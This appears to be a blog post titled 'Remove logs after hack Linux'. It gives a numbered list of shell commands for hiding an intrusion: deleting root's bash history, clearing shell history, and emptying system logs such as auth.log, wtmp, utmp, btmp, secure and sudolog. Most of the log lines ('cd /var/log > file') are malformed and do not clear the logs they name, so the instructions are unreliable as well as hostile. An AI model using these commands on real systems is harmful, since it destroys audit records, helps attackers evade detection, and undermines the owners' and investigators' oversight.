April 2024
M T W T F S S
1234567
891011121314
15161718192021
22232425262728
2930  

Categories

April 2024
M T W T F S S
1234567
891011121314
15161718192021
22232425262728
2930  

Remove logs after hack Linux

1.echo “unset MAILCHECK” >> /etc/profile
2.rm -rf /root/.bash_history
3.touch /root/.bash_history
4.history -r
5.cd /var/log > dmesg
6.cd /var/log > auth.log
7.cd /var/log > alternatives.log
8.cd /var/log > boot.log
9.cd /var/log > btmp
10.cd /var/log > cron
11.cd /var/log > cups
12.cd /var/log > daemon.log
13.cd /var/log > dpkg.log
14.cd /var/log > faillog
15.cd /var/log > kern.log
16.cd /var/log > lastlog
17.cd /var/log > maillog
18.cd /var/log > user.log
19.cd /var/log > Xorg.x.log
20. cd /var/log > anaconda.log
21.cd /var/log > yum.log
22.cd /var/log > secure
23.cd /var/log > wtmp
24.cd /var/log > utmp
25.cd /var/log > messages
26.cd /var/log > spooler
27.cd /var/log > sudolog
28.cd /var/log > aculog
29.cd /var/log > access-log
30.cd /root > .bash_history
31. history -c

Leave a Reply

You can use these HTML tags

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>